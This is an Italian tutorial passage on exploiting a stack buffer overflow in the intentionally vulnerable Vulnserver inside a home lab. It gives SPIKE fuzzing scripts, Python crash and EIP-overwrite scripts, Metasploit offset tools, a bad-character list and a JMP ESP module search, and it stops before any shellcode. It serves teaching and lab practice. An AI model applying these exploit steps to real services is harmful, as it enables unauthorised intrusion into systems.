A cura di Vincenzo Digilio – Cyber Security Specialist

Buffer overflow Attack

 Capitolo III – The Wolf

Il Lupo”. Quando per la prima volta ho letto il titolo di questo terzo capitolo, ho creduto che il protagonista del “manifesto” si riferisse a sé stesso. In realtà, come il libro stesso spesso mostra tra le sue pagine, nulla è ciò che sembra. Ogni giorno ci confrontiamo ed osserviamo il mondo secondo il nostro punto di vista soggettivo, condizionati dalle nostre esperienze. Eppure quella stessa realtà che per noi è così chiara e ovvia, per altri potrebbe essere oscura. È davvero possibile definire qualcosa in maniera univoca, dare una connotazione unica a qualcosa? Basandosi su dati oggettivi, certo. Ma spesso, quei dati non dipendono proprio da chi li osserva?
Pensiamo ad una semplice interfaccia di login. C’è chi la guarda e vede un campo da compilare con i propri dati e chi, invece, una potenziale occasione per violare il sistema usando la tecnica di Buffer Overflow!

Cos’è il Buffer Overflow?

“[..] immaginate di portare talmente tante persone ad una festa da costringere il proprietario di casa a far spazio in un’altra stanza della sua casa, pur di farcele stare tutte. E voi, nel nuovo spazio vacante venutosi a creare, ci scavate un bel tunnel sotterraneo sino a casa vostra. (Demain Kurt)”.

Detto anche “Buffer Overrun”, è una condizione di errore che si verifica quando i dati in ingresso straripano in parti di memoria circostanti. Usando un gergo più tecnico, il Buffer Overflow si verifica quando la stringa in input risulta più grande del buffer dove dovrebbe essere immagazzinata l’informazione. Questo porta alla sovrascrittura delle zone di memoria adiacenti al buffer, corrompendo e sovrascrivendo i dati di quel determinato settore. Spesso l’overflow produce un crash dell’applicazione, ma crea l’opportunità per l’attaccante di eseguire il codice arbitrario.

Vediamo assieme come viene utilizzata questa tecnica, simulando l’attacco vero e proprio.

PARTE I – Preparazione dello scenario:
[ Torna all’indice ]

  1. Ambiente di virtualizzazione VirtualBox:
  • https://www.virtualbox.org/
  1. Macchina Virtuale “attaccante”, Kali Linux, avente IP: 192.168.178.42
  • https://www.kali.org/downloads/
  1. Macchina Virtuale “vittima”, Windows 10 64bit, IP: 192.168.178.38
  • iso scaricabile con il tool di Microsoft “Media Creation Tool”: https://www.microsoft.com/it-it/software-download/windows10

La simulazione prevede che sulla nostra macchina “vittima” sia installata un’applicazione vulnerabile a questo tipo di attacco.

  1. L’applicazione vulnerabile al buffer overflow, da installare sulla macchina Windows 10, si chiama Vulnserver:
  1. Avremo anche bisogno dell’Immunity Debugger da scaricare ed installare sempre sulla nostra macchina vittima:

PARTE II – Stack
[ Torna all’indice ]

Durante l’esecuzione di un programma, la memoria del nostro calcolatore viene allocata per il suo utilizzo. Una parte di essa viene strutturata per il cosiddetto “Stack”.

Lo Stack potrebbe essere suddiviso in quattro parti:

  1. ESP – Extended Stack Pointer: indirizzo della locazione di memoria al TOP dello stack
  2. Buffer Space
  3. EBP – Extended Base Pointer: lo stack viene continuamente allocato e deallocato, il nostro registro EBP punta alla prima locazione di memoria.
  4. EIP – Extended Istruction Pointer: controlla il flusso del programma in esecuzione, puntando alla successiva istruzione da eseguire

Extended Stack Pointer

Immaginiamo ora di avere dinanzi la nostra interfaccia di login, vulnerabile al buffer overflow, e di riempire lo spazio dedicato al “nome utente” con una serie di lettere “A”.
L’immagine d’esempio che segue, mostra l’equivalente di ciò che avverrebbe in memoria.

Extended Stack Pointer

Trattandosi di un’applicazione vulnerabile, se continuiamo ad inserire lettere “A” nel campo “nome utente”, si verificherà uno “straripamento” dei dati in ingresso nelle zone di memoria adiacenti. Il risultato sarà una sovrascrittura dei registri EBP ed EIP (come mostrato nell’immagine successiva).

Extended Stack Pointer

PARTE III – Il WorkFlow d’attacco
[ Torna all’indice ]

Possiamo pensare, per comodità, di suddividere il nostro attacco in sette fasi:

  1. Spiking
  2. Fuzzing
  3. The Offset
  4. Overwriting EIP
  5. Bad Characters
  6. Finding  Module
  7. Shell Script

PARTE IV – Spiking
[ Torna all’indice ]

Accediamo alla nostra macchina vittima Windows 10 e lanciamo la nostra applicazione vulnerabile, facendo doppio click su: vulnserver.exe . Si aprirà la seguente shell dell’applicazione:

vulnserver.exe

Apriamo anche l’Immunity Debugger, facendo “Attach” dell’applicazione. In questo modo, potremo seguire tutto ciò che avviene in memoria durante l’esecuzione dell’applicazione.

Clicchiamo quindi su “File” in alto a sinistra e selezioniamo la voce “attach”. Si aprirà una finestra per scegliere l’applicazione da “collegare”. Sceglieremo, ovviamente, la nostra “vuolnserver”.

A questo punto, apparirà il codice dell’applicazione e la sua allocazione in memoria.
Da notare che il programma è in stato di attesa, come suggerisce la scritta “Paused” evidenziata in giallo (in basso a destra).

vulnserver

Clicchiamo sul triangolo simile al tasto “Play” (nella barra in alto), per continuare l’avvio dell’applicazione. Vedremo che lo stato verrà modificato da “Paused” a “Running”.

Ora, lasciamo per un attimo la “vittima” e spostiamoci sulla nostra macchina “attaccante” Kali Linux. Iniziamo con una banale ricognizione sul nostro target, utilizzando il comando “nmap” (immagine seguente).

nmap

Oltre ai consueti servizi esposti da Windows, vi è la nostra applicazione vulnerabilie che espone i suoi servizi attraverso la porta 9999/tcp. “Service name” in running: abyss

Apriamo ora un secondo terminale e digitiamo nc -nv 192.168.178.39 9999 . Così facendo, stabiliremo una connessione attraverso il nostro programma vulnserver, utilizzando la porta 9999 per scoprire che cosa sia questo servizio abyss.

nc -nv 192.168.178.39 9999

Ad accoglierci, un messaggio di benvenuto che suggerisce di scrivere “HELP” per saperne di più.

vulnserver

Digitandolo, noteremo che l’applicazione vulnserver accetta diversi comandi.

Il nostro obiettivo: capire quali di questi comandi, accettati dall’applicazione vulnserver, è vulnerabile all’attacco di buffer overflow.

Apriamo un terzo terminale e digitiamo il comando generic_send_tcp, dando invio.

vulnserver

Analizzando assieme la sintassi del comando, vediamo che:

  • generic_send_tcp : nome del comando
  • host: IP della vittima e porta
  • spike_script: indica la necessità di un script .spk
  • SKIPVAR e SKIPSTR: da settare entrambi con valore 0

L’unica cosa che ancora non abbiamo, quindi, è il nostro spike_script.

Andiamo quindi a creare il nostro script: da una finestra “terminal” già aperta, digitiamo vi code.spk ed inseriamo il seguente codice:

s_readline();

s_string(“STATS “);

s_string_variable(“0”);

Salviamo ed usciamo, digitando: wq

Analizziamo queste tre semplici righe di codice:

  1. Leggiamo una riga
  2. Prendiamo una stringa di testo, in questo caso “STATS” (che è uno dei comandi accettato dal nostro vulnserver)
  3. Inviamo “una variabile”

Una volta immesso il nostro script (code.spk) all’interno del comando generic_send_tcp, un ingente ed eccessivo numero di variabili verrà inviato al programma con l’intento di farlo crashare o provocare un risultato anomalo.

generic_send_tcp 192.168.178.38 9999 scode.spk 0 0

Immediatamente dopo aver premuto enter, il comando inizierà ad inviare una serie di richieste al vulnserver, attraverso la porta 9999 comando STATS, con l’invio di molteplici caratteri in loop.

Osserviamo adesso cosa è accaduto alla vittima attraverso l’Immunity Debugger.

Immunity Debugger

Come possiamo notare, l’applicazione è rimasta nello stato “Running” e non è emersa alcuna anomalia.

Ma proviamo a cambiare il comando con cui inviamo l’overflow di variabili. Editiamo il nostro semplice spike script, inserendo al posto di “STATS” il comando “TRUN”.

s_readline();

s_string(“TRUN “);

s_string_variable(“0”);

Usciamo, salviamo e rilanciamo il generic_send_tcp, sempre attraverso il medesimo comando di prima:

generic_send_tcp 192.168.178.38 9999 scode.spk 0 0

Torniamo ora al nostro Immunity Debugger e vediamo cosa è accaduto.
Il risultato, questa volta, è completamente diverso. Il programma è passato in stato di “Paused” ed ha registrato un “Access violation” (immagini seguenti).

Access Violation

Inoltre, come possiamo vedere nel riquadro in alto a destra, i registri sono completamente sovrascritti da una serie di lettere “A” (vedere PARTE II – Stack).

Registers FPU

PARTE V – Fuzzing
[ Torna all’indice ]

Ciò che adesso dobbiamo riuscire a capire è: quando avviene il buffer overflow?

Abbiamo scoperto che l’istruzione “TRUN” è vulnerabile a questa tecnica. Quindi, richiamando il comando e dandogli un numero “n” di caratteri (nel nostro esempio le lettere “A”), il programma crasha. Ma qual è il numero esatto di lettere “A” da inserire per farlo crashare? In altre parole, a che punto avviene il crash?

La risposta a questa domanda è di fondamentale importanza, poiché il nostro obiettivo è quello di manipolare il flusso del programma in modo da poterlo controllare.

Nel nostro programma il fulcro del controllo passa dal registro EIP, (Extend Instruction Pointer) che ne controlla l’esecuzione e punta alla prossima istruzione da eseguire.

Alla luce di questa nuova considerazione, potremmo ri-formulare la domanda in maniera più precisa e chiederci: qual è il numero di lettere “A” da inserire per arrivare a sovrascrivere (in memoria) i registri sino all’ EIP? Si tratta di individuare il nostro “offset”.

Cominciamo scrivendo il nostro script in Python e riprodurre il crash.
(I commenti in grassetto aiutano a comprendere lo script per chi non fosse pratico di Python)

#!/usr/bin/python     # Dichiariamo che è uno script che utilizza il linguaggio PYTHON  

import sys,socket       # Invochiamo l’accesso al codice di un modulo ad un altro modulo  (sys e socket) 

from time import sleep     # Importiamo “sleep”

buffer = “A” * 100       # All’interno di Buffer avremo la “A” ripetuta 100 volte                                                                                                                                                                                                                                  

while True:                  # Creiamo un loop costante se il valore booleano è true

try:

# Creiamo un oggetto socket con i parametri AF_INET → Indica Indirizzo IPv4

o Hostname e SOCK_STREAM → Indica che vogliamo creare un socket TCP

s=socket.socket(socket.AF_INET ,socket.SOCK_STREAM)

# Invio della connessione alla Macchina Vulnerabile

 

s.connect((‘192.168.178.38’,9999))

 # Send Over questo messaggio TRUN + buffer      

s.send((‘TRUN /.:/’ + buffer))

# Chiusura della connessione

s.close()

# Blocco dell’esecuzione

sleep(1)

# Reinviamo un altro buffer

# Per tutto il tempo in cui la connessione è stabilita continuiamo ad inviare il buffer 100, 200, 300 “A”

buffer = buffer + “A”*100

# Una volta Crashato. Verificatasi l’eccezione…..     

except:

# Facciamo il Print del Buffer

print “Fuzzing crashed avvenuto al %s bytes” % str(len(buffer))

sys.exit()

Una volta scritto lo script, gli assegneremo i permessi d’esecuzione con il comando: chmod +x nomescript .

Torniamo sulla nostra macchina vittima, chiudiamo l’Immunity Debugger, avviamo l’applicazione vulnserver e riapriamo l’Immunity agganciando l’applicazione (il processo iniziale che abbiamo già fatto e che ripeteremo più volte. Vedi PARTE IV). Ricordiamoci di schiacciare il tasto “play”, altrimenti il programma rimarrà in pausa.

Adesso lanciamo il nostro script, facendo attenzione a terminarlo con ctrl+c. una volta che l’applicazione sarà crashata (l’Immunity Debugger darà l’errore che abbiamo già visto, mettendo in pausa l’esecuzione del programma).

Avviamo il nostro script: ./f1.py

Come è possibile vedere dalla seguente immagine, l’“Access violation” avviene circa a 2100 bytes .

Access Violation

Ci stiamo avvicinando, ma non conosciamo ancora la posizione precisa dell’offset.

PARTE VI – The Offset
[ Torna all’indice ]

Per identificare in maniera precisa l’offset può rivelarsi utile un tool di metasploit:

pattern_create.rb

Locato nel folder /usr/share/metasploit-framework/tools/exploit, ci consente di creare una lista di caratteri di “buzzing” per identificare l’esatto offset.

Abbiamo precedentemente detto che il crash avviene a circa 2100 bytes, quindi l’offset dovrà necessariamente essere all’interno di questo range. Proviamo quindi a creare un pattern di tale lunghezza:

./pattern_create.rb -l 2100

Il risultato sarà:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5
Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1A
f2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8
Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak
7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2
An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap
8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As
5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2
Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7A
x8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba
5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd
2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0
Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8
Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl
8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2B
o3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9
Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8
Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4
Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1
Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb
9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6C
e7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5
Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5
Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn
2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp
9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9

 Adesso non avremo più bisogno di un loop che saturi incrementalmente il comando TRUN di lettere “A”, ma conoscendo “la lunghezza” di caratteri entro cui avviene il crash, basterà modificare il nostro script in Python come segue:

import sys,socket

# Dichiariamo una nuova variabile chiamata offset

offset = “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5A
c6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af
5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4
Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5A
l6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2
Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0
Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au
1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8
Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7
Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6
Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf
6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5B
i6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7
Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3B
o4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br
2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2B
u3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx
0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9C
a0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc
9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf
9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci
9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0
Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co
7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5C
r6Cr7Cr8Cr9”

try:

s=socket.socket(socket.AF_INET ,socket.SOCK_STREAM)

s.connect((‘192.168.178.38’,9999))

#  La aggiungiamo al comando TRUN “+offset”

s.send((‘TRUN /.:/’ + offset))

s.close()

except:

print “Impossibile Connettersi al server”

sys.exit()

Ora torniamo sulla macchina Windows e riavviamo il vulnserver e il debugger, come già fatto, e schiacciamo su “play/run”.

Torniamo poi sulla macchina Kali ed avviamo il nostro script appena modificato: ./o2.py

Ancora una volta, sulla macchina vittima, avverrà il crash. Tuttavia, questa volta, il registro EIP non conterrà più le lettere “A”, ma il seguente valore: 386F4337 .

EIP

Utilizzando il seguente valore contenuto nel registro EIP ed un nuovo tool di metasploit, potremo infine identificare con precisione il nostro offset.

Il tool si trova sempre al medesimo percorso: /usr/share/metasploit-framework/tools/exploit .

La sintassi del comando è: ./pattern_offset.rb “la lunghezza del pattern utilizzato” “il nuovo valore contenuto nel registro EIP”: 

./pattern_offset.rb -l 2100 -q 386F4337

Così, otterremo finalmente il nostro offset: 2003 (immagine seguente)!

EIP

 

PARTE VII – Overwriting the EIP
[ Torna all’indice ]

Verifichiamo che 2003 sia effettivamente la lunghezza esatta del nostro offset, testando che i quattro bytes successivi sovrascrivano il registro EIP.

Per farlo, ricorriamo sempre al nostro script e riscriviamo la stringa in questo modo:

shellcode = “A” * 2003 + “B” * 4

Saturiamo l’offset di lettere “A” e, giunti al registro EIP, lo sovrascriviamo con quattro lettere “B”.

import sys,socket

shellcode = “A” * 2003 + “B” * 4

try:

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((‘192.168.178.38’,9999))

s.send((‘TRUN /.:/’ + shellcode))

s.close()

except:

print “Impossibile Connettersi al server”

sys.exit()

Riavviamo l’Immunity Debugger e il vulnserver, con l’ormai consueto processo, ed avviamo lo script come abbiamo già fatto in precedenza (sulla macchina Kali).

Pochi secondi dopo l’avvio dello script si verificherà il crash.

EIP

Possiamo quindi affermare (come evidenziato nell’immagine) di controllare il registro EIP, avendolo sovrascritto con “42 42 42 42”. In ASCII la codifica della lettera “B” è proprio 42: il registro EIP contiene quindi quattro lettere “B”.

PARTE VIII – Bad Characters
[ Torna all’indice ]

Ora che controlliamo il flusso d’esecuzione del programma vulnerabile, dobbiamo essere certi che il nostro payload non crashi a causa di caratteri non “tollerati/incompatibili” con l’applicazione.

La prima cosa da fare sarà, quindi, procurarsi una lista di badcharacters. Per farlo basterà Googlare “bad characters” per ottenerne una lista completa.

Inseriamoli adesso nel nostro script modificandolo come segue:

import sys,socket

# Lista dei caratteri “bad”

 

badchars = (“\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15
\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f”

“\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37
\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40”

“\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58
\x59\x5a\x5b\x5c\x5d\x5e\x5f”

“\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77
\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f”

“\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97
\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f”

“\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8
\xb9\xba\xbb\xbc\xbd\xbe\xbf”

“\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8
\xd9\xda\xdb\xdc\xdd\xde\xdf”

“\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9
\xfa\xfb\xfc\xfd\xfe\xff”)

# Aggiungiamo, dopo esser giunti al registro EIP ed averlo sovrascritto con quattro lettere “B”, i caratteri “bad” nell’applicazione vulnerabile

 

shellcode = “A” * 2003 + “B” * 4 + badchars

try:

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((‘192.168.178.38’,9999))

s.send((‘TRUN /.:/’ + shellcode))

s.close()

except:

print “Impossibile Connettersi al server”

sys.exit()

Ora, rieseguiamo la procedura di crash dell’applicazione. Ciò che dobbiamo fare è controllare che in memoria ci sia tutta la sequenza del buffer di “badchars” inviata. Se all’interno della memoria il normale flusso di informazioni viene omesso o alterato, il carattere non presente nel dump sarà quello responsabile del crash.

In altre parole, la prima riga del nostro buffer è:

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\

Quindi, controlliamo che in memoria sia presente in maniera identica: all’interno dell’Immunity Debugger, clicchiamo con il tasto destro del mouse in corrispondenza del registro ESP e selezioniamo “Follow in Dump”.

In basso a sinistra, dovremo vedere gli stessi caratteri inseriti nel buffer:

ASCII

Non essendoci nessuna alterazione nella sequenza, l’unico carattere da escludere sarà il null /x00/ .

PARTE IX – Finding the right module
[ Torna all’indice ]

Ricapitolando le nostre azioni, ora abbiamo:

  1. lo spazio in memoria per allocare il nostro shellcode, accessibile attraverso il registro ESP;
  2. il controllo del registro EIP (con le quattro “B”, 42424242);
  3. verificato i “bad characters”.

Ora dobbiamo trovare un modo per far sì che nel momento del crash dell’applicazione, il flusso di esecuzione del programma venga indirizzato al nostro payload, allocato all’indirizzo di memoria contenuto nel registro ESP. Teoricamente non dovremmo far altro che sostituire le quattro “B” che sovrascrivono il registro EIP, con l’indirizzo di memoria contenuto nel registro ESP al momento del crash. Tuttavia, il valore del registro ESP cambia da crash a crash.

Rimane, però, un’altra via: durante il processo d’esecuzione di un’applicazione, essa non viene caricata in memoria da sola ma assieme a DLL, drivers e moduli contenenti funzioni extra e dati (in molti casi è l’applicazione stessa che nel momento della sua installazione provvede ad installare chiavi di registro, DLL e drivers necessari alla sua esecuzione). La chiave sta nel fatto che l’indirizzo di “jump” a questi moduli o applicazioni, è sempre il medesimo all’interno della memoria e non cambia da reboot a reboot.

Quindi, se riuscissimo a trovare un indirizzo di memoria con permessi sia “d’esecuzione” che di “lettura” e che contenga un’istruzione come JMP ESP cioè “Jump to ESP” (“salta al registro ESP”), potremmo reindirizzare il flusso d’esecuzione del programma al nostro payload.

Procediamo un passo alla volta.

La prima cosa da fare è utilizzare all’interno dell’ Immunity Debugger un tool conosciuto come “mona module”, scaricabile al seguente indirizzo: https://github.com/corelan/mona

Questo tool dovrà essere successivamente copiato nella cartella PyCommands, dell’Immunity Debugger:

C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands

Una volta copiato, ripeteremo la procedura avviando l’immunity Debugger e agganciando l’applicazione vulnserver. Nella barra del debugger (sotto) richiamiamo il tool scrivendo: !mona module .

!MONA MODULES

Ci apparirà una lista di DLL, da cui selezionare quella che ha tutte le “memory protection” al valore “false”. Vale a dire che sceglieremo la DLL senza protezioni.

Come emerge dalla figura seguente, la prima DLL potrebbe essere proprio il nostro candidato ideale: essfunc.dll

essfunc.dll

essfunc.dll

Ci resta da capire dove sia la nostra istruzione di JMP.
Torniamo per un attimo sulla nostra macchina Kali ed utilizziamo un nuovo script, chiamato nasm_shell.rb

Per trovarlo, digitiamo locate nasm_shell.rb

